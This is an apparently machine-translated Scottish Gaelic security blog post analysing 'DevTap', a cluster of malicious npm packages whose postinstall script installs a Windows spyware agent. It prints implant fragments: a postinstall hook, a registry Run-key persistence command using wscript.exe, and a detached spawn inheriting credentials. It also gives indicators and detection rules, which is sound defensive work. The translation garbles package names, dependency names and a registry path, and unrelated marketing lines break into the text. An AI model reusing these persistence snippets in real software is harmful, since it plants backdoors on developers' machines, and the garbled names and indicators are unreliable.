Ionnsaigh Typosquatting DevTap npm

Ionnsaigh Typosquatting DevTap npm: Sia pacaidean droch-rùnach a’ targaideadh stèiseanan-obrach luchd-leasachaidh

TL; DR

Eadar 1 Giblean agus 3 Cèitean, 2026, aon fhoillsichear npm, user0001, clàraichte leis an t-seòladh Gmail neo-dhearbhaichte tanvisoul9@gmail.com, a’ putadh sia pacaidean gu sàmhach le ainmean a bha a’ fuaimeachadh mar bhun-structar: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, agus node-env-resolve.

An dà dhreach as ùire de node-env-resolve, 1.0.7 agus 1.0.8, air an comharrachadh le siostam Rabhadh Tràth Malware (MEW) aig Xygeni air 2 Cèitean agus chaidh an dearbhadh mar dhroch-rùnach air 3 Cèitean.

Tha an implant neo-àbhaisteach airson na tha e nach eil: chan eil botaichean Telegram ann, chan eil gairmean air ais OAST ann, chan eil èigneachadh, agus gun oidhirp sam bith air teisteanasan AWS fhaighinn aig àm an stàlaidh. An àite sin, postinstall.js a’ cur inntrigeadh buan-sheasmhachd Windows, a’ cleachdadh iuchair HKCU Run a chuireas air bhog wscript.exe an aghaidh stub VBS. An uairsin bidh e a’ gineadh àidseant Node.js neo-cheangailte a bhios a’ pasgadh mhodalan airson glacadh maicreafòn, goid eachdraidh brabhsair, glacadh-sgrìn, agus atharrais luchaige / meur-chlàir.

Tha sinn a’ gairm a’ chnuasaich seo DevTap, às dèidh a’ phasgan falbhaidh e a’ ruith air inneal leasaiche.

Bha na sia pacaidean uile beò air npm aig àm sgrìobhaidh. Tha sinn air an cur a-steach gu seanail droch-chleachdaidh a’ chlàir. Bu chòir do luchd-dìon stàlaidhean sam bith a tharraing bhon fhoillsichear a tha ri thighinn air an toirt air falbh.

An Cluster: Sia Pasganan, Aon Fhoillsichear

Cunntas an fhoillsichear user0001 chan eil dearbhadh ann. Chan eil gin ann SCM dearbhadh, gun phost-d ceangailte ri fearann, agus gun eachdraidh roimhe. Làmh-sgrìobhainn Gmail tanvisoul9 chan eil e a’ nochdadh ann an clàr foillsichear npm sam bith eile a lorg sinn.

Tha an aon neach-gleidhidh air an liostadh air na sia pacaidean uile, chaidh am foillseachadh bhon aon chunntas, agus tha an aon rud aca. package.json clàr-stòrais. Chan eil gin ann repository, chan eil homepage, agus cha bu chòir description nas fhaide na aon loidhne.

’S e an ro-innleachd ainmeachaidh am pàirt inntinneach. Eu-coltach ri iomairt clasaigeach troimh-chèile eisimeileachd no typosquat, chan eil gin de na h-ainmean seo ag amas air leabharlann sònraichte suas an abhainn. An àite sin, tha iad air an calibratadh gus a dhol à sealladh ann an fhìor… package.json or npm ls toradh.

pasganAir fhoillseachadh an toiseachLeabhran as ùiredreachanDreuchd anns a’ Chruinneachadh
meadhan-lannsair2026-04-01 12:46 UTC1.0.95, bho 1.0.5 gu 1.0.9Còmhdach “goireas logaidh” a’ Chruinneachaidh; foillseachadh as tràithe
dom-utils-lite2026-04-14 07:36 UTC1.0.33Còmhdach coitcheann DOM-cuideachaidh
node-fetch-lite2026-04-19 10:22 UTC1.0.23A’ dèanamh atharrais air teaghlach nod-tharraing
riochdaire-ceangail2026-04-25 05:12 UTC1.0.01Ainm coitcheann “riochdaire”
àm-ruith nod-gyp2026-04-25 05:17 UTC1.0.01A’ dèanamh atharrais air innealan togail modalan dùthchasach
fuasgladh-cèilidh-nòd2026-04-25 05:21 UTC1.0.910, bho 1.0.0 gu 1.0.9Dropper gnìomhach; implant làn

Ainmean mar centralogger, node-fetch-lite, agus node-gyp-runtime air an dealbhadh gus nach bi connspaid orra ann an ath-sgrùdadh còd. Tha iad coltach ri rudan a bhiodh ann an craobh eisimeileachd pròiseict mu thràth.

Còmhla ri foillsichear ùr, neo-dhearbhaichte agus ceanglaichean stòrais a tha a dhìth, bidh iad a’ cruthachadh pàtran aithnichte: cleasaiche a’ cur ainmean ìosal-frithidh a-steach don chlàr, agus an uairsin a’ dol air adhart gu sgiobalta air an fhear a tha cudromach. Anns a’ chùis seo, node-env-resolve fhuair mi deich dreachan ann an ochd latha.

Dè a thuiteas air bogsa leasachaidh Windows

An t-sreath droch-rùnach air node-env-resolve:1.0.8 tha e goirid, dìreach, agus gu h-annasach beairteach ann an feartan airson RAT npm.

Às dèidh an stàlaidh: Seasmhachd agus Àidseant Sgaraichte

package.json a’ dearbhadh dubhan stàlaidh singilte:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js a’ dèanamh trì rudan ann an òrdugh.

An toiseach, cuiridh e eòlaire stàlaidh air dòigh taobh a-muigh craoibh npm. Tha an t-slighe air a thomhas aig àm ruith anns an sgriobt mar INSTALL_DIRAn uairsin bidh e a’ ruith siostam a-staigh execSync('npm install --production --silent ...') a-staigh ann gus eisimeileachdan ruith-ùine an implant a tharraing. Cuiridh seo an riochdaire air diosg an àiteigin ann an leabhar-làimhe node_modules cha lorg sgrùdadh.

San dàrna àite, sgrìobhas e lannsair VBS agus clàraichidh e e airson buan-sheasmhachd tòiseachaidh:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe ’S e Windows Script Host a th’ ann, faidhle binary Microsoft le ainm-sgrìobhte a ruitheas .vbs faidhlichean às aonais uinneag console. Tha sin ro-làimhciscarson a tha e nas fheàrr airson stubaichean ruith fèin-ghluasadach.

Tha co-chòrdadh ann cuideachd reg delete slighe a-staigh src/index.js, a’ moladh gu bheil an implant air a dhealbhadh gus a bhith air a thoirt air falbh gu glan air òrdugh an obraiche.

San treas àite, bidh e a’ gineadh pròiseas pàiste neo-cheangailte:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Tha dà mhion-fhiosrachadh cudromach an seo.

SERVER_URL air a leughadh bhon àrainneachd. Mar thoradh air an sin, tha ceann-uidhe C2 so-rèiteachail gach cleachdadh agus chan eil e air a bhèicearachd a-steach don phacaid. Tha an roghainn bheag ach a dh'aona ghnothach sin a’ cur às do mhòr-chuid de sguabadh statach-IOC.

Cuideachd, bidh an leanabh a thèid a chruthachadh a’ sealbhachadh àrainneachd làn nam pàrant. Mar sin, gin NPM_TOKEN, AWS_*, GITHUB_TOKEN, no socaid SSH-agent a tha an làthair anns an t-slige leasaiche aig àm an stàlaidh a’ siubhal a-steach do chuimhne an àidseant fad-ùine.

Na tha an riochdaire a’ cur leis

Am pasgan src/ Tha trì modalan anns a’ chraobh agus chan eil ach ainmean ag innse na sgeòil: audioCapture.js, browserHistory.js, agus systemInfo.js.

An liosta eisimeileachdan ruith-ùine, air fhuasgladh rè an ìreachaidh npm install, a’ dearbhadh iad.

Bidh an dòigh-obrach seo ag atharrachadh tachartas mì-rianail gu freagairt fo smachd.

An àite a bhith a’ freagairt gu dall, bidh sgiobaidhean ag obair le prìomhachas soilleir agus leigheas luath.

Neo-eisimeileachdCarson a tha e anns a’ cho-theacsa seo
glacadh-sgrìn-deasgGlacadh-sgrìn bho àm gu àm
@forc-craoibh-chnò/cnò-jsFèin-ghluasad luchaige is meur-chlàir / atharrais cuir-a-steach
nas fheàrr-sqlite3Leughaidhean dìreach de stòran-dàta Eachdraidh SQLite Chrome, Edge, agus Firefox
còd-puist admA’ pasgadh stuthan a chaidh a chruinneachadh mus tèid an toirt a-mach
GeurAth-mheudachadh / teannachadh dhealbhan-sgrìn agus nithean ìomhaigh
neach-dèiligidh socaid.ioSianal C2 dà-shligheach maireannach
ID-inneal-nòdLorg-meòir seasmhach gach aoigh airson tracadh luchd-fulaing

systemInfo.js gairm os.networkInterfaces() airson lorgan-meòir a bharrachd mus tèid a’ chiad chomharradh-rabhaidh a chur a-mach.

Carson a tha an glacadh claisneachd mar an comharra as fheàrr

Bidh a’ mhòr-chuid de na RATan npm a bhios sinn a’ sgrùdadh ann am MEW a’ stad aig goid dìomhair aig àm an stàlaidh. Bidh iad a’ leughadh. ~/.npmrc, leugh ~/.aws/credentials, sgrìob process.env, POST gu webhook, agus fàg. Tha sin a’ freagairt air modail eaconamach smash-and-grab. Tha leth-bheatha ghoirid aig teisteanasan, agus feumaidh an neach-ionnsaigh airgead a dhèanamh gu sgiobalta.

node-env-resolve tha eadar-dhealaichte ann an cruth.

Tha an seasmhachd air a shuidheachadh gus mairsinn às dèidh ath-thòiseachadh. Bidh an riochdaire a’ ruith neo-cheangailte agus maireannach fo wscript.exeTha an uidheam a tha ann airson a bhith ann air inneal leasaiche, chan ann airson a ghlacadh agus fhàgail: inneal-clàraidh maicreafòn, draibhear meur-chlàir/luchag, glacadh eachdraidh làn-bhrabhsair, glacadh-sgrìn, agus seanal Socket.IO eadar-ghnìomhach air ais gu C2 a ghabhas rèiteachadh.

Gu sònraichte, is e glacadh maicreafòn an loidhne a tha an iomairt seo a’ dol tarsainn nach eil a’ mhòr-chuid de malware npm a’ dèanamh.

Tha stèisean-obrach leasaiche, a’ sìor fhàs, cuideachd na stèisean-obrach far am bi luchd-leasachaidh a’ gabhail seasamh-suas, gairmean luchd-ceannach, còmhraidhean dealbhaidh, agus drochaidean air-ghairm. Chan eil implant a chlàras am micreofon dha-rìribh às dèidh comharra npm an leasaiche. Tha e às dèidh na tha an leasaiche ag ràdh air beulaibh an laptop.

Tha an seata comasan sin, a bharrachd air dìth doilleireachd agus dìth fògradh flashy sam bith aig àm an stàlaidh, a’ leughadh mar ro-shuidheachadh airson ruigsinneachd cuimsichte seach goid teisteanasan cothromach.

Chan eil sinn ag ràdh gur ann bhon seo a-mhàin a tha sinn ag ràdh gur e seo an adhbhar. Tha sinn a’ toirt fa-near a’ phròifil obrachaidh.

ionnsaigh typosquatting npm - DevTab

An ruitheam ath-aithris ochd latha air adhart node-env-resolve 's e am mion-fhiosrachadh as innseach a thaobh obrachaidh san loidhne-tìm.

Chan e seo boinne teine-agus-dìochuimhnich. Tha am foillsichear gu gnìomhach a’ cumail suas an dropper, agus mar as trice tha sin a’ ciallachadh aon de dhà rud. An dàrna cuid tha iad ga thionndadh an aghaidh àrainneachdan deuchainn mus tèid a chleachdadh nas fharsainge, no tha telemetry stàlaichte aca mu thràth a’ tighinn air ais agus tha iad a’ freagairt ris.

Cha robh gluasad sam bith anns na còig pacaidean eile às dèidh an fhoillseachaidh tùsail. Tha sin a’ freagairt air pàtran “aon ìre, fàg ainm” airson a’ chruinneachaidh taiceil fhad ‘s a tha oidhirp innleadaireachd ag amas air a’ phacaid a nì an obair.

Cur às leth: Beagan chomharran, gun bhreith làidir

Phoblach OSINT Tha comharran tana, agus cha shìn sinn iad. Dè a tha ri fhaicinn:

Làmh-làimhe Gmail tanvisoul9 coltach gu ìre ri ainm a bha ann an Àisia a Deas, “Tanvi.” Is e comharra lag a tha seo. Chan e dearbh-aithne a th’ ann an làmhan Gmail, agus tha an fheadhainn a tha a’ leantainn air adhart soul9 Tha e coitcheann. Chan eil e sàbhailte cruinn-eòlas a thoirt a-mach à pàirt ionadail post-d leis fhèin.

Chan eil stoidhle còd sònraichte ann an Node.js: standard gairmean leabharlainn leithid os, child_process, spawn, agus reg addChan eil doilleireachd ann, chan eil cuairteachadh sreang ann, agus chan eil loidsig an-aghaidh dì-bhugachaidh ann. Tha an t-ùghdar comhfhurtail le prìomh eileamaidean clàraidh Windows agus orchestration pròiseas neo-cheangailte-chloinne, ach chan eil coltas gu bheil e a’ feuchainn ri ciùird nas falaichte a chleachdadh.

Tha eisimeileachdan gu tur deiseil agus aithnichte: screenshot-desktop, nut-js, better-sqlite3, agus socket.io-clientChan eil pròtacal gnàthaichte ann, chan eil cruach C2 ùr-nodha ann, agus chan eil cleas buanachaidh ùr ann a bharrachd air leabhar-teacsa. Iuchair ruith HKCU'S e amalaiche comasach a tha seo, chan e ùghdar innealan.

Cha d’ fhuair sinn sreangan neo-Bheurla, beachdan leabaithe, dàta ionadail, no lorgan-meòir crios-ama toradh-cruinneachaidh am broinn nan nithean a chaidh fhoillseachadh.

Rinn sinn sgrùdadh airson còd a bha a’ dol thairis air iomairtean roimhe a bhios sinn a’ cumail sùil orra mu thràth, nam measg Shai Hulud, Owlivion, Buildkite, agus an heibai o chionn ghoirid / claude-code-best Teaghlach clòn Anthropic-CLI. Cha d’ fhuair sinn gin: gun phàtranan C2 co-roinnte, gun leacan faidhle co-roinnte, agus gun ghnàthasan-cainnt co-roinnte.

Na rud nach canadh sinn: gur e cleasaiche stàite a tha seo, buidheann aithnichte, no ceangailte gu cruinn-eòlasach ri dùthaich shònraichte sam bith.

Tha am pròifil obrachaidh a rèir sgioba bheag, meadhanach sgileil a’ dèanamh sgrùdadh stèisean-obrach luchd-leasachaidh. Tha e coltach gu bheil e air a bhrosnachadh gu h-ionmhasail tro chleachdadh sìos an abhainn den ruigsinneachd, ach is dòcha cuideachd sgrùdadh-mar-sheirbheis airson ceannaiche air leth.

Tha dà phuing neo-dhìreach a’ toirt taic don sin: seachnadh meacanaig às-shìolaidh a ghlacas aire a loisgeadh an cruinneachadh gu luath, leithid botaichean Telegram, oastify.com, no canarytokens, agus na h-ainmean pacaid a chaidh a dhèanamh gu saor-thoileach, a tha a’ fàbharachadh stàlaidhean sàmhach fad-earbaill seach spìc ghoirid àrd-tomhas-lìonaidh.

Comharran Co-rèiteachaidh agus Lorgaidh

Pacaidean agus Foillsichear
Fieldluach
foillsichear npmuser0001
Post-d an fhoillsicheartanvisoul9@gmail.com, gun dearbhadh
pasgaincentralogger, dom-utils-lite, node-fetch-lite, riochdaire-ceangail, àm-ruith node-gyp, fuasgladh àrainneachd node
Dearbhaichte droch-rùnachnode-env-resolve@1.0.7, node-env-resolve@1.0.8
Artefactan an Aoigh
Typeluach
Iuchair buanseasmhachdHKCU\Software\Microsoft\Windows\TionndadhLàithreach\Ruith
Luach buan-sheasmhachdAinm caochladair; dàta den chruth wscript.exe " \\ .vbs"
Stàlaich dubhaniar-stàladh: an nód postinstall.js anns a’ phacaid manifesto
Modalan implantsrc/audioCapture.js, src/brabhsairEachdraidh.js, src/systemInfo.js
Clàr-stiùiridhINSTALL_DIR air fhuasgladh taobh a-muigh node_modules a’ phròiseict; àite air a shuidheachadh le postinstall.js aig àm an stàlaidh
lìonra
Typeluach
Còmhdhail C2socket.io-client, seanal dà-shligheach maireannach
Ceann-uidhe C2Air a thoirt don àidseant tron ​​chaochladair àrainneachd SERVER_URL; gun a bhith air a chòdachadh gu cruaidh ann an stuthan foillsichte

Notaichean Lorgaidh

Bidh dà riaghailt a’ glacadh an teaghlaich seo gun fheum air ceann-uidhe C2.

An toiseach, comharraich sgriobtaichean iar-stàlaidh a bhios a’ dèanamh obair a-staigh npm install a-steach do shlighe taobh a-muigh eòlaire a’ phacaid fhèin. Luchdaich sìos ro-thogail dligheach sam bith, leithid node-gyp ath-thogail no luchdaich sìos binary ro-thogte, sgrìobhas taobh a-staigh a’ phacaid no a-steach do àrd-ùrlar-standard slighean tasgadan le hashes dearbhte. Chan eil e a’ sgrìobhadh a-steach do chlàr ùr-chruthaichte INSTALL_DIR ann an àite eile air an diosg.

San dàrna àite, comharraich sgriobtaichean iar-stàlaidh a bhios a’ cur dragh air daoine reg add HKCU\…\Run le wscript.exe mar an lannsair. Gu bunaiteach, chan eil seo a-riamh dligheach bho phacaid npm. Cuir bratach air agus cuir cuarantine air.

Tha treas heuristic feumail airson am pasgan peathraichean a leanas fhaicinn mus tèid a dhearbhadh: foillsichear npm ùr gun SCM dearbhadh, post-d Gmail, chan eil repository raon, agus iomadh ainm pacaid goirid, coitcheann, a tha coltach ri bun-structar, air fhoillseachadh taobh a-staigh làithean bho chèile, tha sin gu leòr leis fhèin airson ath-sgrùdadh làimhe a dhearbhadh.

Chaidh aithris don chlàr npm. Cuiridh sinn am post seo ris nuair a thèid cunntas an fhoillsichear a thoirt air falbh.

innealan-sca-bathar-bog-innealan-anailis-co-dhèanamh
Thoir prìomhachas do chunnartan bathar-bog, dèan cinnteach gu bheil iad air an rèiteachadh, agus dèan cinnteach gu bheil iad tèarainte
Faigh do Chunntas an-asgaidh.
Chan eil feum air cairt creideas.

Dèan cinnteach à leasachadh is lìbhrigeadh do bhathar-bog

le Sreath Thoraidhean Xygeni